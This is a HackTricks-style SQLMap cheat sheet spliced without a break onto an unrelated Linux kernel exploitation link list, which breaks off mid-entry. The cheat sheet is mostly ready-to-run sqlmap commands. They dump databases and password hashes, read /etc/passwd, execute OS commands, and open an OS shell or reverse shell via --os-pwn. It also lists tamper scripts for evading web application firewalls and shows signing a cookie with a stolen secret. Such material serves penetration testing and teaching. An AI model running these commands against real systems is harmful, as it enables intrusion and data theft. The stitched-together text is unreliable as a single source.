# SQLMap - Cheetsheat <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details> <figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} ## Basic arguments for SQLmap ### Generic ```bash -u "<URL>" -p "<PARAM TO TEST>" --user-agent=SQLMAP --random-agent --threads=10 --risk=3 #MAX --level=5 #MAX --dbms="<KNOWN DB TECH>" --os="<OS>" --technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ") --batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred="<AUTH>" #HTTP authentication credentials (name:password) --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` ### Retrieve Information #### Internal ```bash --current-user #Get current user --is-dba #Check if current user is Admin --hostname #Get hostname --users #Get usernames od DB --passwords #Get passwords of users in DB --privileges #Get privileges ``` #### DB data ```bash --all #Retrieve everything --dump #Dump DBMS database table entries --dbs #Names of the available databases --tables #Tables of a database ( -D <DB NAME> ) --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column ``` ## Injection place ### From Burp/ZAP capture Capture the request and create a req.txt file ```bash sqlmap -r req.txt --current-user ``` ### GET Request Injection ```bash sqlmap -u "http://example.com/?id=1" -p id sqlmap -u "http://example.com/?id=*" -p id ``` ### POST Request Injection ```bash sqlmap -u "http://example.com" --data "username=*&password=*" ``` ### Injections in Headers and other HTTP Methods ```bash #Inside cookie sqlmap -u "http://example.com" --cookie "mycookies=*" #Inside some header sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*" sqlmap -u "http://example.com" --headers="referer:*" #PUT Method sqlmap --method=PUT -u "http://example.com" --headers="referer:*" #The injection is located at the '*' ``` ### Indicate string when injection is successful ```bash --string="string_showed_when_TRUE" ``` ### Eval **Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` ### Shell ```bash #Exec command python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami #Simple Shell python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` ### Read File ```bash --file-read=/etc/passwd ``` ### Crawl a website with SQLmap and auto-exploit ```bash sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3 --batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers --crawl = how deep you want to crawl a site --forms = Parse and test forms ``` ### Second Order Injection ```bash python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3 sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs ``` [**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.** <figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} ## Customizing Injection ### Set a suffix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- " ``` ### Prefix ```bash python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') " ``` ### Help finding boolean injection ```bash # The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection) sqlmap -r r.txt -p id --not-string ridiculous --batch ``` ### Tamper Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md). ```bash --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` | Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart | | apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart | | appendnullbyte.py | Appends encoded NULL byte character at the end of payload | | base64encode.py | Base64 all characters in a given payload | | between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' | | bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator | | chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) | | commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' | | commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' | | concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | charencode.py | Url-encodes all characters in a given payload (not processing already encoded) | | charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" | | charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" | | equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' | | escapequotes.py | Slash escape quotes (' and ") | | greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart | | halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword | | ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' | | modsecurityversioned.py | Embraces complete query with versioned comment | | modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment | | multiplespaces.py | Adds multiple spaces around SQL keywords | | nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters | | percentage.py | Adds a percentage sign ('%') infront of each character | | overlongutf8.py | Converts all characters in a given payload (not processing already encoded) | | randomcase.py | Replaces each keyword character with random case value | | randomcomments.py | Add random comments to SQL keywords | | securesphere.py | Appends special crafted string | | sp\_password.py | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs | | space2comment.py | Replaces space character (' ') with comments | | space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') | | space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') | | space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') | | space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') | | space2plus.py | Replaces space character (' ') with plus ('+') | | space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters | | symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and | | unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT | | unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) | | uppercase.py | Replaces each keyword character with upper case value 'INSERT' | | varnish.py | Append a HTTP header 'X-originating-IP' | | versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment | | versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment | | xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' | <figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure> [**DragonJAR Security Conference es un evento internacional de ciberseguridad**](https://www.dragonjarcon.org/) con más de una década que se celebrará el 7 y 8 de septiembre de 2023 en Bogotá, Colombia. Es un evento de gran contenido técnico donde se presentan las últimas investigaciones en español que atrae a hackers e investigadores de todo el mundo.\ ¡Regístrate ahora en el siguiente enlace y no te pierdas esta gran conferencia!: {% embed url="https://www.dragonjarcon.org/" %} <details> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). </details>
Linux Kernel Exploitation ========================= A collection of links related to Linux kernel security and exploitation. Updated bimonthly. Pull requests are welcome as well. Follow [@andreyknvl](https://twitter.com/andreyknvl) on Twitter to be notified of updates. Subscribe to @linkersec on [Telegram](https://t.me/linkersec), [Twitter](https://twitter.com/linkersec), or [Reddit](https://www.reddit.com/r/linkersec) for highlights. ## Trainings See [xairy.io/trainings/](https://xairy.io/trainings/). ## Contents - [Books](#books) - [Techniques](#techniques) - [Exploitation](#exploitation) - [Protection Bypasses](#protection-bypasses) - [Vulnerabilities](#vulnerabilities) - [Info-leaks](#info-leaks) - [LPE](#lpe) - [RCE](#rce) - [Other](#other) - [Finding Bugs](#finding-bugs) - [Defensive](#defensive) - [Exploits](#exploits) - [Tools](#tools) - [Fuzzers](#fuzzers) - [Assorted](#assorted) - [Practice](#practice) - [Workshops](#workshops) - [CTF Tasks](#ctf-tasks) - [Other Tasks](#other-tasks) - [Playgrounds](#playgrounds) - [Infrastructure](#infrastructure) - [Misc](#misc) ## Books 2014: "Android Hacker's Handbook" by Joshua J. Drake [[book](https://www.goodreads.com/book/show/17628293-android-hacker-s-handbook)] 2012: "A Guide to Kernel Exploitation: Attacking the Core" by Enrico Perla and Massimiliano Oldani [[book](https://www.goodreads.com/book/show/9224826-a-guide-to-kernel-exploitation)] [[materials](https://github.com/yrp604/atc-sources)] ## Techniques ### Exploitation [2023: "Exploit Engineering – Attacking the Linux Kernel" by Alex Plaskett and Cedric Halbronn](https://research.nccgroup.com/wp-content/uploads/2023/05/exploit-engineering-linux-kernel.pdf) [slides] [[video](https://www.youtube.com/watch?v=9wgHENj_YNk)] [2023: "Algorithmic Heap Layout Manipulation in the Linux Kernel" by Max Ufer and Daniel Baier](https://escholarship.org/content/qt8ss3f7w1/qt8ss3f7w1.pdf) [paper] [[artifacts](https://github.com/fkie-cad/Algorithmic-Heap-Layout-Manipulation-in-the-Linux-Kernel)] [2023: "The Return of Stack Overflows in the Linux Kernel" by Davide Ornaghi](https://conference.hitb.org/hitbsecconf2023ams/materials/D2%20COMMSEC%20-%20The%20Return%20of%20Stack%20Overflows%20in%20the%20Linux%20Kernel%20-%20Davide%20Ornaghi.pdf) [slides] [2023: "Exploiting null-dereferences in the Linux kernel" by Seth Jenkins](https://googleprojectzero.blogspot.com/2023/01/exploiting-null-dereferences-in-linux.html) [2023: "PSPRAY: Timing Side-Channel based Linux Kernel Heap Exploitation Technique"](https://www.usenix.org/system/files/sec23summer_79-lee-prepub.pdf) [paper] [2022: "Devils Are in the File Descriptors: It Is Time To Catch Them All" by Le Wu](https://i.blackhat.com/USA-22/Wednesday/US-22-Wu-Devils-Are-in-the-File.pdf) [slides] [[video](https://www.youtube.com/watch?v=dIVjQrqpKC0)] [2022: "FUSE for Linux Exploitation 101"](https://exploiter.dev/blog/2022/FUSE-exploit.html) [article] [2022: "Kernel Exploit Recipes"](https://drive.google.com/file/d/1kRHgQ9qDr4vgxJ4rVL-UNKvCamva_TRB/view) [brochure] [2022: "pipe_buffer arbitrary read write" by Jayden R](https://interruptlabs.co.uk/labs/pipe_buffer/) [article] [2022: "Joy of exploiting the Kernel"](https://docs.google.com/presentation/d/e/2PACX-1vR4mpH3aARLMOhJemVGEw1cduXPEo_PvrbZMum8QwOJ6rhZvvezsif4qtgSydVVt8jPT1fztgD5Mj7q/pub?slide=id.p) [slides] [2022: "An exploit primitive in the Linux kernel inspired by DirtyPipe"](https://github.com/veritas501/pipe-primitive) [article] [2022: "Pawnyable: Linux Kernel Exploitation" by ptr-yudai](https://pawnyable.cafe/linux-kernel/index.html) [articles] [2022: "DirtyCred: Escalating Privilege in Linux Kernel"](https://zplin.me/papers/DirtyCred.pdf) [paper] [[slides](https://zplin.me/papers/DirtyCred_CCS_slides.pdf)] [[artifacts](https://github.com/Markakd/DirtyCred)] [2022: "DirtyCred: Cautious! A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe"](https://i.blackhat.com/USA-22/Thursday/US-22-Lin-Cautious-A-New-Exploitation-Method.pdf) [slides] [[artifacts](https://github.com/Markakd/DirtyCred)] [2022: "CoRJail: From Null Byte Overflow To Docker Escape Exploiting poll_list Objects In The Linux Kernel"](https://syst3mfailure.io/corjail) [article] [2022: "Reviving Exploits Against Cred Structs - Six Byte Cross Cache Overflow to Leakless Data-Oriented Kernel Pwnage"](https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html) [article] [2022: "USMA: Share Kernel Code With Me" by Yong Liu, Jun Yao, and Xiaodong Wang](https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-YongLiu-USMA-Share-Kernel-Code.pdf) [slides] [[paper](https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-YongLiu-USMA-Share-Kernel-Code-wp.pdf)] [[article](https://vul.360.net/archives/391?continueFlag=2065c4d6bed3a8e7a80c495d7066e013)] [2022: "Linux kernel heap feng shui in 2022" by Michael S and Vitaly Nikolenko](https://duasynt.com/blog/linux-kernel-heap-feng-shui-2022) [article] [2022: "LiKE: A Series on Linux Kernel Exploitation" by sam4k](https://sam4k.com/like-a-series-on-linux-kernel-exploitation/) [article] [[modprobe_path](https://sam4k.com/like-techniques-modprobe_path/)] [2022: "Racing against the clock -- hitting a tiny kernel race window" by Jann Horn](https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html) [article] [2022: "Playing for K(H)eaps: Understanding and Improving Linux Kernel Exploit Reliability"](https://www.usenix.org/system/files/sec22fall_zeng.pdf) [paper] [[artifacts](https://github.com/sefcom/KHeaps)] [2022: "Learning Linux kernel exploitation" by 0x434b](https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/) [article] [[part 2](https://0x434b.dev/learning-linux-kernel-exploitation-part-2-cve-2022-0847/)] [2021: "ExpRace: Exploiting Kernel Races through Raising Interrupts" at USENIX](https://www.usenix.org/system/files/sec21-lee-yoochan.pdf) [paper] [[slides](https://www.usenix.org/system/files/sec21_slides_lee_yoochan.pdf)] [[video](https://www.youtube.com/watch?v=CIHRw5YPr9o)] [2021: "Utilizing msg_msg Objects for Arbitrary Read and Arbitrary Write in the Linux Kernel"](https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html) [article] [[part2](https://syst3mfailure.io/wall-of-perdition)] [2021: "Linux Kernel Exploitation Technique: Overwriting modprobe_path"](https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/) [article] [2021: "Learning Linux Kernel Exploitation"](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/) [article] [[part 2](https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/)] [[part 3](https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/)] [2020: "Exploiting Kernel Races Through Taming Thread Interleaving"](https://i.blackhat.com/USA-20/Thursday/us-20-Lee-Exploiting-Kernel-Races-Through-Taming-Thread-Interleaving.pdf) [slides] [[video](https://www.youtube.com/watch?v=5M3WhLVLCzs)] [2020: "Locating the kernel PGD on Android/aarch64" by Vitaly Nikolenko](https://duasynt.com/blog/android-pgd-page-tables) [article] [2020: "A Systematic Study of Elastic Objects in Kernel Exploitation"](https://zplin.me/papers/ELOISE.pdf) [paper] [[video](https://www.youtube.com/watch?v=yXhH0IJAxkE)] [2020: "Exploiting Uses of Uninitialized Stack Variables in Linux Kernels to Leak Kernel Pointers"](https://www.usenix.org/system/files/woot20-paper1-slides-cho.pdf) [slides] [[paper](https://www.usenix.org/system/files/woot20-paper-cho.pdf)] [[video](https://www.youtube.com/watch?v=uI377m9S0qs)] [2020: "BlindSide: Speculative Probing: Hacking Blind in the Spectre Era"](https://www.vusec.net/projects/blindside/) [paper] [2020: "Linux Kernel Stack Smashing" by Silvio Cesare](https://blog.infosectcbr.com.au/2020/02/linux-kernel-stack-smashing.html?m=1) [article] [2020: "Structures that can be used in kernel exploits"](https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628) [article] [2019: "Linux Kernel: the ROP Exploit of Stack Overflow in Android Kernel"](https://medium.com/@knownsec404team/linux-kernel-the-rop-exploit-of-stack-overflow-in-android-kernel-87aa8eda770d) [article] [2019: "Hands Off and Putting SLAB/SLUB Feng Shui in Blackbox" by Yueqi (Lewis) Chen at Black Hat Europe](https://i.blackhat.com/eu-19/Wednesday/eu-19-Chen-Hands-Off-And-Putting-SLAB-SLUB-Feng-Shui-In-A-Blackbox.pdf) [slides] [[code](https://www.dropbox.com/sh/2kwcwqb8rjro80j/AAC8QBCIhcCylNUDLUd1OZCZa?dl=0)] [2019: "SLAKE: Facilitating Slab Manipulation for Exploiting Vulnerabilities in the Linux Kernel" by Yueqi (Lewis) Chen and Xinyu Xing](http://personal.psu.edu/yxc431/publications/SLAKE_Slides.pdf) [slides] [[paper](http://personal.psu.edu/yxc431/publications/SLAKE.pdf)] [2019: "Exploiting Race Conditions Using the Scheduler" by Jann Horn at Linux Security Summit EU](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf) [slides] [[video](https://www.youtube.com/watch?v=MIJL5wLUtKE)] [2019: "Kepler: Facilitating Control-flow Hijacking Primitive Evaluation for Linux Kernel Vulnerabilities"](https://www.usenix.org/sites/default/files/conference/protected-files/sec19_slides_wu-wei.pdf) [slides] [[video](https://www.youtube.com/watch?v=4b_GbFs5XZI)] [[paper](https://www.usenix.org/system/files/sec19-wu-wei.pdf)] [2019: "Leak kernel pointer by exploiting uninitialized uses in Linux kernel" by Jinbum Park](https://jinb-park.github.io/leak-kptr.html) [slides] [2019: "Kernel IDT priviledge escalation"](https://github.com/rdomanski/kernel/tree/master/writeups/Kernel-IDT-priviledge-escalation) [article] [2018: "FUZE: Towards Facilitating Exploit Generation for Kernel Use-After-Free Vulnerabilities"](http://personal.psu.edu/yxc431/publications/FUZE_Slides.pdf) [slides] [[paper](http://personal.psu.edu/yxc431/publications/FUZE.pdf)] [2018: "Linux Kernel universal heap spray" by Vitaly Nikolenko](https://cyseclabs.com/blog/linux-kernel-heap-spray) [article] [2018: "Linux-Kernel-Exploit Stack Smashing"](https://web.archive.org/web/20190421131414/http://tacxingxing.com/2018/02/15/linux-kernel-exploit-stack-smashing/) [article] [2018: "Entering God Mode  -  The Kernel Space Mirroring Attack"](https://hackernoon.com/entering-god-mode-the-kernel-space-mirroring-attack-8a86b749545f) [article] [2018: "Mirror Mirror: Rooting Android 8 with a Kernel Space Mirroring Attack" by Wang Yong at HitB](https://conference.hitb.org/hitbsecconf2018ams/materials/D1T2%20-%20Yong%20Wang%20&%20Yang%20Song%20-%20Rooting%20Android%208%20with%20a%20Kernel%20Space%20Mirroring%20Attack.pdf) [slides] [2018: "KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features" by Wang Yong at BlackHat](https://www.blackhat.com/docs/asia-18/asia-18-WANG-KSMA-Breaking-Android-kernel-isolation-and-Rooting-with-ARM-MMU-features.pdf) [slides] [2018: "Still Hammerable and Exploitable: on the Effectiveness of Software-only Physical Kernel Isolation"](https://arxiv.org/pdf/1802.07060.pdf) [paper] [2018: "linux kernel pwn notes"](https://www.cnblogs.com/hac425/p/9416886.html) [article] [2018: "Use of timer_list structure in linux kernel exploit"](https://xz.aliyun.com/t/3455) [article] [2017: "Escalating Privileges in Linux using Fault Injection" by Niek Timmers and Cristofaro Mune](https://www.riscure.com/uploads/2017/10/escalating-privileges-in-linux-using-fi-presentation-fdtc-2017.pdf) [slides] [[video](https://www.youtube.com/watch?v=nqF_IjXg_uM)] [[paper](https://www.riscure.com/uploads/2017/10/Riscure_Whitepaper_Escalating_Privileges_in_Linux_using_Fault_Injection.pdf)] [2017: "Kernel Driver mmap Handler Exploitation" by Mateusz Fruba](https://labs.withsecure.com/content/dam/labs/docs/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf) [paper] [2017: "Linux kernel addr_limit bug / exploitation" by Vitaly Nikolenko](https://www.youtube.com/watch?v=UFakJa3t8Ls) [video] [2017: "The Stack Clash" by Qualys Research Team](https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt) [article] [2017: "New Reliable Android Kernel Root Exploitation Techniques"](http://powerofcommunity.net/poc2016/x82.pdf) [slides] [2017: "Unleashing Use-Before-Initialization Vulnerabilities in the Linux Kernel Using Targeted Stack Spraying"](https://www-users.cs.umn.edu/~kjlu/papers/tss.pdf) [paper] [2017: "Breaking KASLR with perf" by Lizzie Dixon](https://blog.lizzie.io/kaslr-and-perf.html) [article] [2017: "Linux kernel exploit cheetsheet"](https://github.com/verctor/MyNotes/blob/master/linux/linux_kernel_exploit_cheetsheet.md) [article] [2016: "Getting Physical Extreme abuse of Intel based Paging Systems" by Nicolas Economou and Enrique Nissim](https://cansecwest.com/slides/2016/CSW2016_Economou-Nissim_GettingPhysical.pdf) [slides] [2016: "Linux Kernel ROP - Ropping your way to # (Part 1)" by Vitaly Nikolenko](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/) [article] [[exercise](https://github.com/vnik5287/kernel_rop)] [2016: "Linux Kernel ROP - Ropping your way to # (Part 2)" by Vitaly Nikolenko](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/) [article] [2016: "Exploiting COF Vulnerabilities in the Linux kernel" by Vitaly Nikolenko at Ruxcon](https://ruxcon.org.au/assets/2016/slides/ruxcon2016-Vitaly.pdf) [slides] [2016: "Using userfaultfd" by Lizzie Dixon](https://blog.lizzie.io/using-userfaultfd.html) [article] [2016: "Direct Memory Attack the Kernel" by Ulf Frisk at DEF CON](https://www.youtube.com/watch?v=fXthwl6ShOg) [video] [2016: "Randomization Can't Stop BPF JIT Spray" by Elena Reshetova at Black Hat](https://www.blackhat.com/docs/eu-16/materials/eu-16-Reshetova-Randomization-Can't-Stop-BPF-JIT-Spray.pdf) [slides] [[video](https://www.youtube.com/watch?v=_F7iQQ1Um2M)] [[paper](https://www.blackhat.com/docs/eu-16/materials/eu-16-Reshetova-Randomization-Can't-Stop-BPF-JIT-Spray-wp.pdf)] [2015: "Kernel Data Attack is a Realistic Security Threat"](https://www.eecis.udel.edu/~hnw/paper/kerneldata.pdf) [paper] [2015: "From Collision To Exploitation: Unleashing Use-After-Free Vulnerabilities in Linux Kernel"](http://repository.root-me.org/Exploitation%20-%20Syst%C3%A8me/Unix/EN%20-%20From%20collision%20to%20exploitation%3A%20Unleashing%20Use-After-Free%20vulnerabilities%20in%20Linux%20Kernel.pdf) [paper] [2015: "Modern Binary Exploitation: Linux Kernel Exploitation" by Patrick Biernat](http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/23/13_lecture.pdf) [slides] [[exercise](https://github.com/RPISEC/MBE/tree/master/src/lab10)] [2013: "Hacking like in the Movies: Visualizing Page Tables for Local Exploitation" at Black Hat](https://www.youtube.com/watch?v=Of6DemoMLaA) [2013: "Exploiting linux kernel heap corruptions" by Mohamed Channam](http://resources.infosecinstitute.com/exploiting-linux-kernel-heap-corruptions-slub-allocator/) [article] [2012: "Writing kernel exploits" by Keegan McAllister](https://tc.gtisc.gatech.edu/bss/2014/r/kernel-exploits.pdf) [slides] [2012: "Understanding Linux Kernel Vulnerabilities" by Richard Carback](https://www.csee.umbc.edu/courses/undergraduate/421/Spring12/02/slides/ULKV.pdf) [slides] [2012: "A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator" by Dan Rosenberg](https://www.vsecurity.com//download/papers/slob-exploitation.pdf) [paper] [2012: "Attacking hardened Linux systems with kernel JIT spraying" by Keegan McAllister](https://mainisusuallyafunction.blogspot.ru/2012/11/attacking-hardened-linux-systems-with.html) [article] [[code 1](https://github.com/kmcallister/alameda)] [[code 2](https://github.com/01org/jit-spray-poc-for-ksp)] [2012: "The Linux kernel memory allocators from an exploitation perspective" by Patroklos Argyroudis](https://argp.github.io/2012/01/03/linux-kernel-heap-exploitation/) [article] [2012: "The Stack is Back" by Jon Oberheide](https://jon.oberheide.org/files/infiltrate12-thestackisback.pdf) [slides] [2012: "Stackjacking" by Jon Oberheide and Dan Rosenberg](https://www.slideshare.net/scovetta/stackjacking) [slides] [2011: "Stackjacking Your Way to grsec/PaX Bypass" by Jon Oberheide](https://jon.oberheide.org/blog/2011/04/20/stackjacking-your-way-to-grsec-pax-bypass/) [article] [2010: "Much ado about NULL: Exploiting a kernel NULL dereference"](https://blogs.oracle.com/ksplice/entry/much_ado_about_null_exploiting1) [article] [2010: "Exploiting Stack Overflows in the Linux Kernel" by Jon Oberheide](https://jon.oberheide.org/blog/2010/11/29/exploiting-stack-overflows-in-the-linux-kernel/) [article] [2010: "Linux Kernel Exploitation: Earning Its Pwnie a Vuln at a Time" by Jon Oberheide at SOURCE Boston](https://jon.oberheide.org/files/source10-linuxkernel-jonoberheide.pdf) [slides] [2009: "There's a party at ring0, and you're invited" by Tavis Ormandy and Julien Tinnes at CanSecWest](https://www.cr0.org/paper/to-jt-party-at-ring0.pdf) [slides] [2007: "Kernel-mode exploits primer" by Sylvester Keil and Clemens Kolbitsch](http://old.iseclab.org/projects/vifuzz/docs/exploit.pdf) [paper] [2007: "Attacking the Core : Kernel Exploiting Notes"](http://phrack.org/archives/issues/64/6.txt) [article] [2007: "The story of exploiting kmalloc() overflows"](http://www.ouah.org/kmallocstory.html) [article] [2007: "Linux 2.6 Kernel Exploits" by Stephane Duverger](https://airbus-seclab.github.io/kernsploit/kernel_exploit_syscan07.pdf) [slides] [2005: "Large memory management vulnerabilities" by Gael Delalleau at CancSecWest](https://cansecwest.com/core05/memory_vulns_delalleau.pdf) [slides] [2005: "The story of exploiting kmalloc() overflows"](https://argp.github.io/public/kmalloc_exploitation.pdf) [article] ### Protection Bypasses [2023: "EPF: Evil Packet Filter" by Di Jin, Vaggelis Atlidakis, and Vasileios P. Kemerlis](https://cs.brown.edu/~vpk/papers/epf.atc23.pdf) [paper] [2023: "Bypassing SELinux with init_module" by Sean Pesce](https://seanpesce.blogspot.com/2023/05/bypassing-selinux-with-initmodule.html) [article] [2023: "Finding Gadgets for CPU Side-Channels with Static Analysis Tools" by Jordy Zomer and Alexandra Sandulescu](https://github.com/google/security-research/tree/master/pocs/cpus/spectre-gadgets) [article] [2023: "Linux Kernel: Spectre-v1 gadgets" by 